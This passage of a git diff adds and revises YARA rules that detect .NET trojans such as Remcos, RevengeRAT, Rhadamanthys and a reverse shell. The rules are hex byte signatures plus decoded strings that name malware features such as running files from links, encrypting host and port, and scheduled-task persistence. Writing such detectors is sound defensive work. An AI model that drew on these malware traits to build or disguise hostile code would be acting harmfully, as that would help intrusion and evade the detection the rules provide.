12 00 70 6f ?? 00 00 0a 16 61 13 07 11 06 11 06 60 20 ff ff ff 7f 5f 13 06 11 07 11 07 60 20 ff ff ff 7f 5f 13 07 02 11 06 11 07 6f ?? 00 00 0a 13 08 12 08 28 ?? 00 00 0a 16 61 d2 13 09 12 08 28 ?? 00 00 0a 16 61 d2 13 0a 12 08 28 ?? 00 00 0a 16 61 d2 13 0b 07 11 09 6f ?? 00 00 0a 08 11 0a 6f ?? 00 00 0a 09 11 0b 6f ?? 00 00 0a 04 03 6f ?? 00 00 0a 59 13 0c 11 0c 19 32 32 07 6f ?? 00 00 0a 13 0d 08 6f ?? 00 00 0a 13 0e 09 6f ?? 00 00 0a 13 0f 03 11 0d 6f ?? 00 00 0a 03 11 0e 6f ?? 00 00 0a 03 11 0f 6f ?? 00 00 0a 2b 79 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_RVE_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_RVE_MTB.yar index e0fd490e18..debed0c4bf 100644 --- a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_RVE_MTB.yar +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_RVE_MTB.yar @@ -9,4 +9,16 @@ rule Trojan_BAT_Remcos_RVE_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1) >=2 +} +rule Trojan_BAT_Remcos_RVE_MTB_2{ + meta: + description = "Trojan:BAT/Remcos.RVE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 15 a2 09 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 7b 00 00 00 0d 00 00 00 86 00 00 00 77 00 00 00 71 00 00 00 e7 00 00 00 20 00 00 00 20 00 00 00 03 00 00 00 06 00 00 00 07 00 00 00 12 00 00 00 01 00 00 00 06 00 00 00 07 00 00 00 02 00 00 00 02 00 00 00 09 } //1 + $a_81_1 = {35 63 37 38 33 39 33 33 2d 37 64 66 32 2d 34 33 63 36 2d 38 36 63 35 2d 66 34 65 64 62 64 64 39 61 33 36 39 } //1 5c783933-7df2-43c6-86c5-f4edbdd9a369 + $a_81_2 = {50 72 6f 6a 65 6b 74 6e 69 5f 7a 61 64 61 74 61 6b 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 Projektni_zadatak.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_RVF_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_RVF_MTB.yar new file mode 100644 index 0000000000..63d5c116c0 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_RVF_MTB.yar @@ -0,0 +1,25 @@ + +rule Trojan_BAT_Remcos_RVF_MTB{ + meta: + description = "Trojan:BAT/Remcos.RVF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 95 a2 29 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 cc 00 00 00 1e 00 00 00 ab 01 00 00 07 01 00 00 2a 01 00 00 ad 01 00 00 2a 00 00 00 01 00 00 00 44 00 00 00 04 00 00 00 26 00 00 00 2b 00 00 00 07 00 00 00 01 00 00 00 01 00 00 00 07 00 00 00 0f 00 00 00 08 00 00 00 01 } //1 + $a_81_1 = {64 34 65 30 32 63 65 34 2d 34 32 61 63 2d 34 30 32 65 2d 39 31 31 36 2d 62 34 38 63 61 38 63 36 33 64 33 33 } //1 d4e02ce4-42ac-402e-9116-b48ca8c63d33 + $a_81_2 = {51 4c 42 48 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 QLBH.Properties.Resources.resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} +rule Trojan_BAT_Remcos_RVF_MTB_2{ + meta: + description = "Trojan:BAT/Remcos.RVF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 7d a2 1d 09 01 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 76 00 00 00 0d 00 00 00 36 00 00 00 43 00 00 00 2b 00 00 00 d3 00 00 00 03 00 00 00 34 00 00 00 01 00 00 00 01 00 00 00 10 00 00 00 08 00 00 00 1a 00 00 00 24 00 00 00 02 00 00 00 05 00 00 00 03 00 00 00 01 00 00 00 07 00 00 00 03 } //1 + $a_81_1 = {46 31 45 32 44 33 43 34 2d 42 35 41 36 2d 39 37 38 35 2d 34 33 32 46 2d 38 37 36 35 34 33 32 31 30 41 42 43 } //1 F1E2D3C4-B5A6-9785-432F-876543210ABC + $a_81_2 = {50 69 74 63 68 41 6e 61 6c 79 74 69 63 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 PitchAnalytics.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_SLYW_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_SLYW_MTB.yar new file mode 100644 index 0000000000..6e3e2e97ea --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_SLYW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_SLYW_MTB{ + meta: + description = "Trojan:BAT/Remcos.SLYW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {28 04 00 00 06 72 01 00 00 70 72 33 00 00 70 28 05 00 00 06 72 4d 00 00 70 72 99 00 00 70 28 06 00 00 06 20 00 00 00 00 7e ?? 00 00 04 7b [0-0a] 0f 00 00 00 26 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZES_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZES_MTB.yar new file mode 100644 index 0000000000..b11c66f1f1 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZES_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Remcos_ZES_MTB{ + meta: + description = "Trojan:BAT/Remcos.ZES!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 01 38 ?? 01 00 00 00 11 02 20 00 01 00 00 6f ?? 00 00 0a 38 ?? 00 00 00 11 02 11 00 6f ?? 00 00 0a 38 ?? 00 00 00 11 02 11 01 6f ?? 00 00 0a 38 ?? 00 00 00 11 02 6f ?? 00 00 0a 13 03 38 ?? 00 00 00 00 02 73 ?? 00 00 0a 13 04 38 ?? 00 00 00 00 11 04 11 03 16 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZGS_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZGS_MTB.yar new file mode 100644 index 0000000000..840e878c25 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZGS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Remcos_ZGS_MTB{ + meta: + description = "Trojan:BAT/Remcos.ZGS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {16 13 10 11 13 17 58 13 13 11 13 1f 0a fe 04 13 12 00 02 11 2c 11 30 6f ?? 01 00 0a 13 31 11 17 12 31 28 ?? 01 00 0a 58 13 17 11 18 12 31 28 ?? 01 00 0a 58 13 18 11 19 12 31 28 ?? 01 00 0a 58 13 19 12 31 } //6 + $a_03_1 = {11 0e 12 31 28 ?? 01 00 0a 61 d2 13 0e 11 0e 12 31 28 ?? 01 00 0a 61 d2 13 0e 11 0e 12 31 28 ?? 01 00 0a 61 d2 13 0e 11 1a 1f 64 5d 16 fe 01 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZKW_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZKW_MTB.yar new file mode 100644 index 0000000000..dd14b2297e --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZKW_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Remcos_ZKW_MTB{ + meta: + description = "Trojan:BAT/Remcos.ZKW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {08 06 11 04 6f ?? 01 00 0a 13 14 09 07 6f ?? 00 00 0a 59 13 06 11 06 19 fe 04 16 fe 01 13 0c 11 0c 2c 54 } //6 + $a_03_1 = {25 16 12 14 28 ?? 01 00 0a 9c 25 17 12 14 28 ?? 01 00 0a 9c 25 18 12 14 28 ?? 01 00 0a 9c 13 0d 11 09 20 d4 71 77 51 28 ?? 00 00 06 28 ?? 01 00 0a 2c 03 16 2b 01 16 13 0e 11 0e 2c 07 12 0d 28 ?? 00 00 06 07 11 0d 6f ?? 00 00 0a 2b 53 11 06 16 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZPT_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZPT_MTB.yar new file mode 100644 index 0000000000..898f2701ca --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZPT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Remcos_ZPT_MTB{ + meta: + description = "Trojan:BAT/Remcos.ZPT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {0a 59 13 18 73 ?? 00 00 0a 13 19 11 19 72 94 22 00 70 12 16 28 ?? 01 00 0a 12 16 28 ?? 01 00 0a 58 12 16 28 ?? 01 00 0a 58 6c 23 00 00 00 00 00 00 08 40 5b 23 00 00 00 00 00 e0 6f 40 5b } //6 + $a_03_1 = {02 12 06 28 ?? 01 00 0a 12 06 28 ?? 01 00 0a 6f ?? 01 00 0a 13 16 12 06 28 ?? 01 00 0a 13 1b 12 1b 28 ?? 00 00 0a 12 06 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZZC_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZZC_MTB.yar new file mode 100644 index 0000000000..502a80bb56 --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ZZC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_ZZC_MTB{ + meta: + description = "Trojan:BAT/Remcos.ZZC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {03 09 07 6f ?? 00 00 0a 13 04 12 04 28 ?? 00 00 0a 1f 32 2f 18 12 04 28 ?? 00 00 0a 1f 32 2f 0d 12 04 28 ?? 00 00 0a 1f 64 fe 02 2b 01 16 13 05 11 05 2c 14 02 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/RemcosRAT/Trojan_BAT_RemcosRAT_BSA_MTB.yar b/Trojan/BAT/RemcosRAT/Trojan_BAT_RemcosRAT_BSA_MTB.yar new file mode 100644 index 0000000000..f202428237 --- /dev/null +++ b/Trojan/BAT/RemcosRAT/Trojan_BAT_RemcosRAT_BSA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_RemcosRAT_BSA_MTB{ + meta: + description = "Trojan:BAT/RemcosRAT.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 03 00 00 " + + strings : + $a_01_0 = {5a 57 4d 32 4d 7a 4a 6d 5a 44 6b 74 4d 54 59 35 4e 43 30 30 5a 6a 52 68 4c 54 6c 69 5a 6d 59 74 5a 6a 49 77 4e 6a 41 77 5a 54 4d 33 4f 54 67 78 } //1 ZWM2MzJmZDktMTY5NC00ZjRhLTliZmYtZjIwNjAwZTM3OTgx + $a_01_1 = {63 38 62 38 64 62 63 30 61 32 34 61 63 65 34 62 61 61 63 35 35 31 63 37 33 64 39 62 64 63 64 35 35 } //10 c8b8dbc0a24ace4baac551c73d9bdcd55 + $a_01_2 = {45 78 65 63 75 74 65 00 70 61 74 68 00 70 61 79 6c 6f 61 64 } //14 硅捥瑵e慰桴瀀祡潬摡 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*10+(#a_01_2 & 1)*14) >=25 + +} \ No newline at end of file diff --git a/Trojan/BAT/RemcosRAT/Trojan_BAT_RemcosRAT_SF_MTB.yar b/Trojan/BAT/RemcosRAT/Trojan_BAT_RemcosRAT_SF_MTB.yar new file mode 100644 index 0000000000..94eac199b5 --- /dev/null +++ b/Trojan/BAT/RemcosRAT/Trojan_BAT_RemcosRAT_SF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_RemcosRAT_SF_MTB{ + meta: + description = "Trojan:BAT/RemcosRAT.SF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {63 d1 13 15 11 1d 11 09 91 13 2a 11 1d 11 09 11 2a 11 22 61 11 1f 19 58 61 11 2b 61 d2 9c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/RemcosRAT/Trojan_BAT_RemcosRAT_WL_MTB.yar b/Trojan/BAT/RemcosRAT/Trojan_BAT_RemcosRAT_WL_MTB.yar new file mode 100644 index 0000000000..a4b69e16a1 --- /dev/null +++ b/Trojan/BAT/RemcosRAT/Trojan_BAT_RemcosRAT_WL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_RemcosRAT_WL_MTB{ + meta: + description = "Trojan:BAT/RemcosRAT.WL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {13 08 07 61 11 08 61 13 09 08 11 07 11 09 } //1 ࠓ愇ࠑ፡ࠉܑऑ + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/ResInject/Trojan_BAT_ResInject_MCF_MTB.yar b/Trojan/BAT/ResInject/Trojan_BAT_ResInject_MCF_MTB.yar new file mode 100644 index 0000000000..496829add5 --- /dev/null +++ b/Trojan/BAT/ResInject/Trojan_BAT_ResInject_MCF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ResInject_MCF_MTB{ + meta: + description = "Trojan:BAT/ResInject.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {66 00 38 00 31 00 6e 00 4d 00 77 00 66 00 44 00 71 00 00 15 50 00 47 00 35 00 51 00 58 00 73 00 32 00 73 00 42 00 6c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/ResolverRAT/Trojan_BAT_ResolverRAT_AOXA_MTB.yar b/Trojan/BAT/ResolverRAT/Trojan_BAT_ResolverRAT_AOXA_MTB.yar new file mode 100644 index 0000000000..505f24a0b8 --- /dev/null +++ b/Trojan/BAT/ResolverRAT/Trojan_BAT_ResolverRAT_AOXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_ResolverRAT_AOXA_MTB{ + meta: + description = "Trojan:BAT/ResolverRAT.AOXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {11 00 11 02 02 11 02 91 03 11 02 11 03 5d 6f ?? 00 00 0a 61 d2 9c 20 } //3 + $a_01_1 = {11 02 17 58 13 02 20 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/ResolverRAT/Trojan_BAT_ResolverRAT_PGR_MTB.yar b/Trojan/BAT/ResolverRAT/Trojan_BAT_ResolverRAT_PGR_MTB.yar new file mode 100644 index 0000000000..36bb391123 --- /dev/null +++ b/Trojan/BAT/ResolverRAT/Trojan_BAT_ResolverRAT_PGR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ResolverRAT_PGR_MTB{ + meta: + description = "Trojan:BAT/ResolverRAT.PGR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {2b 1e 2b 3a 2b 3b 2b 3c 08 91 03 08 07 5d 6f ?? 00 00 0a 61 d2 9c 16 2d e9 1a 2c e6 08 17 58 0c 08 02 8e 69 32 dc 06 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRAT_PTIZ_MTB.yar b/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRAT_PTIZ_MTB.yar deleted file mode 100644 index 33c02f7f10..0000000000 --- a/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRAT_PTIZ_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_BAT_RevengeRAT_PTIZ_MTB{ - meta: - description = "Trojan:BAT/RevengeRAT.PTIZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " - - strings : - $a_03_0 = {d0 1a 00 00 04 28 ?? 00 00 0a 28 ?? 00 00 06 28 ?? 04 00 06 80 19 00 00 04 7e 19 00 00 04 2a } //2 - condition: - ((#a_03_0 & 1)*2) >=2 - -} \ No newline at end of file diff --git a/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRat_ARG_MTB.yar b/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRat_ARG_MTB.yar new file mode 100644 index 0000000000..25987e2616 --- /dev/null +++ b/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRat_ARG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_RevengeRat_ARG_MTB{ + meta: + description = "Trojan:BAT/RevengeRat.ARG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 04 0c 2b 30 02 08 28 ?? 00 00 0a 03 08 03 6f ?? 00 00 0a 5d 17 d6 28 ?? 00 00 0a da 0d 06 09 28 ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 0a 00 08 17 d6 0c 08 11 04 13 05 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRat_ARR_MTB.yar b/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRat_ARR_MTB.yar index 247599d0c7..fdfec135ad 100644 --- a/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRat_ARR_MTB.yar +++ b/Trojan/BAT/RevengeRAT/Trojan_BAT_RevengeRat_ARR_MTB.yar @@ -32,6 +32,18 @@ rule Trojan_BAT_RevengeRat_ARR_MTB_3{ } rule Trojan_BAT_RevengeRat_ARR_MTB_4{ + meta: + description = "Trojan:BAT/RevengeRat.ARR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_03_0 = {13 06 09 28 ?? 00 00 0a 04 6f ?? 00 00 0a 6f ?? 00 00 0a 13 07 11 07 16 11 06 16 1f 10 28 ?? 00 00 0a 11 07 16 11 06 1f 0f 1f 10 28 ?? 00 00 0a 06 11 06 6f ?? 00 00 0a 06 18 6f ?? 00 00 0a 06 6f ?? 00 00 0a 13 05 03 13 04 11 05 11 04 16 11 04 8e b7 6f ?? 00 00 0a 0c 08 0b de 0f } //1 + $a_01_1 = {43 00 41 00 43 00 41 00 4f 00 2e 00 74 00 72 00 6f 00 6c 00 6f 00 6c 00 6f 00 } //2 CACAO.trololo + $a_01_2 = {42 00 45 00 54 00 49 00 53 00 45 00 } //3 BETISE + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*2+(#a_01_2 & 1)*3) >=6 + +} +rule Trojan_BAT_RevengeRat_ARR_MTB_5{ meta: description = "Trojan:BAT/RevengeRat.ARR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " @@ -43,4 +55,25 @@ rule Trojan_BAT_RevengeRat_ARR_MTB_4{ condition: ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 +} +rule Trojan_BAT_RevengeRat_ARR_MTB_6{ + meta: + description = "Trojan:BAT/RevengeRat.ARR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0c 00 00 " + + strings : + $a_03_0 = {16 0b 07 b5 1f 64 28 ?? ?? ?? 0a 0d 12 03 1f 64 14 13 04 12 04 1f 64 28 ?? ?? ?? 06 13 05 11 05 2c 08 ?? ?? ?? ?? ?? 0a de 28 00 00 07 17 d6 0b 07 1a 13 06 } //2 + $a_01_1 = {52 00 75 00 6e 00 46 00 69 00 6c 00 65 00 46 00 72 00 6f 00 6d 00 4c 00 69 00 6e 00 6b 00 } //1 RunFileFromLink + $a_01_2 = {52 00 75 00 6e 00 46 00 69 00 6c 00 65 00 46 00 72 00 6f 00 6d 00 44 00 69 00 73 00 6b 00 } //1 RunFileFromDisk + $a_01_3 = {45 00 6e 00 63 00 72 00 79 00 70 00 74 00 48 00 6f 00 73 00 74 00 50 00 6f 00 72 00 74 00 } //1 EncryptHostPort + $a_01_4 = {4d 00 65 00 73 00 73 00 67 00 62 00 6f 00 78 00 46 00 61 00 6b 00 65 00 43 00 68 00 65 00 63 00 6b 00 } //1 MessgboxFakeCheck + $a_01_5 = {53 00 74 00 61 00 72 00 74 00 75 00 70 00 43 00 68 00 65 00 61 00 63 00 6b 00 } //1 StartupCheack + $a_01_6 = {49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 69 00 6e 00 53 00 68 00 75 00 6c 00 64 00 65 00 72 00 54 00 61 00 73 00 6b 00 } //1 InstallinShulderTask + $a_01_7 = {53 00 43 00 48 00 54 00 61 00 73 00 6b 00 54 00 69 00 65 00 6d 00 } //1 SCHTaskTiem + $a_01_8 = {48 00 69 00 64 00 65 00 41 00 66 00 74 00 65 00 72 00 52 00 75 00 6e 00 } //1 HideAfterRun + $a_01_9 = {49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 49 00 6e 00 6f 00 } //1 InstallIno + $a_01_10 = {49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 69 00 6e 00 6f 00 70 00 } //1 Installinop + $a_01_11 = {52 65 76 65 6e 67 65 2d 52 41 54 } //3 Revenge-RAT + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*3) >=15 + } \ No newline at end of file diff --git a/Trojan/BAT/ReverseShell/Trojan_BAT_ReverseShell_ZJV_MTB.yar b/Trojan/BAT/ReverseShell/Trojan_BAT_ReverseShell_ZJV_MTB.yar new file mode 100644 index 0000000000..095c6a47a5 --- /dev/null +++ b/Trojan/BAT/ReverseShell/Trojan_BAT_ReverseShell_ZJV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ReverseShell_ZJV_MTB{ + meta: + description = "Trojan:BAT/ReverseShell.ZJV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {8e 69 0a 03 8d ?? 00 00 01 0b 16 0c 2b 17 00 07 08 02 08 91 7e ?? 00 00 04 08 06 5d 91 61 d2 9c 00 08 17 58 0c 08 03 fe 04 13 04 11 04 2d df 07 0d 2b 00 09 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Rhadamanthys/Trojan_BAT_Rhadamanthys_APVA_MTB.yar b/Trojan/BAT/Rhadamanthys/Trojan_BAT_Rhadamanthys_APVA_MTB.yar new file mode 100644 index 0000000000..7aad023041 --- /dev/null +++ b/Trojan/BAT/Rhadamanthys/Trojan_BAT_Rhadamanthys_APVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Rhadamanthys_APVA_MTB{ + meta: + description = "Trojan:BAT/Rhadamanthys.APVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {1f 09 0b 04 03 07 5d 9a 28 ?? 00 00 0a 02 28 ?? ?? 00 06 28 ?? ?? 00 0a 0a 2b 00 06 2a } //3 + $a_03_1 = {02 03 66 5f 02 66 03 5f 60 8c ?? 00 00 01 0a 2b 00 06 2a } //2 + $a_03_2 = {05 0b 16 0c 2b 11 03 08 03 08 91 08 04 28 ?? ?? 00 06 9c 08 17 d6 0c 08 07 31 eb 03 0a 2b 00 06 2a } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Rhadamanthys/Trojan_BAT_Rhadamanthys_RK_MTB.yar b/Trojan/BAT/Rhadamanthys/Trojan_BAT_Rhadamanthys_RK_MTB.yar new file mode 100644 index 0000000000..2bf301bc8a --- /dev/null +++ b/Trojan/BAT/Rhadamanthys/Trojan_BAT_Rhadamanthys_RK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Rhadamanthys_RK_MTB{ + meta: + description = "Trojan:BAT/Rhadamanthys.RK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {07 1f 10 8d 1d 00 00 01 25 d0 55 02 00 04 28 6f 00 00 0a 6f d6 00 00 0a 06 07 6f d7 00 00 0a 17 73 3b 00 00 0a 25 02 16 02 8e 69 6f d8 00 00 0a 6f d9 00 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Rhadamanthys/Trojan_BAT_Rhadamanthys_UDP_MTB.yar b/Trojan/BAT/Rhadamanthys/Trojan_BAT_Rhadamanthys_UDP_MTB.yar new file mode 100644 index 0000000000..489bed7bb6 --- /dev/null +++ b/Trojan/BAT/Rhadamanthys/Trojan_BAT_Rhadamanthys_UDP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Rhadamanthys_UDP_MTB{ + meta: + description = "Trojan:BAT/Rhadamanthys.UDP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {11 0f 11 09 16 73 3e 00 00 0a 13 06 20 00 00 00 00 7e 7a 02 00 04 7b 7b 02 00 04 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 0a 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Rozena/Trojan_BAT_Rozena_EAJ_MTB.yar b/Trojan/BAT/Rozena/Trojan_BAT_Rozena_EAJ_MTB.yar new file mode 100644 index 0000000000..48c2ed7df6 --- /dev/null +++ b/Trojan/BAT/Rozena/Trojan_BAT_Rozena_EAJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Rozena_EAJ_MTB{ + meta: + description = "Trojan:BAT/Rozena.EAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {08 02 07 02 8e 69 5d 91 58 06 07 91 58 20 ff 00 00 00 5f 0c 06 07 08 28 04 00 00 06 07 17 58 0b 07 20 00 01 00 00 32 d8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Rozena/Trojan_BAT_Rozena_ECM_MTB.yar b/Trojan/BAT/Rozena/Trojan_BAT_Rozena_ECM_MTB.yar new file mode 100644 index 0000000000..e03779001e --- /dev/null +++ b/Trojan/BAT/Rozena/Trojan_BAT_Rozena_ECM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Rozena_ECM_MTB{ + meta: + description = "Trojan:BAT/Rozena.ECM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 09 06 09 91 18 59 20 ff 00 00 00 5f d2 9c 09 17 58 0d 09 06 8e 69 32 e7 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git 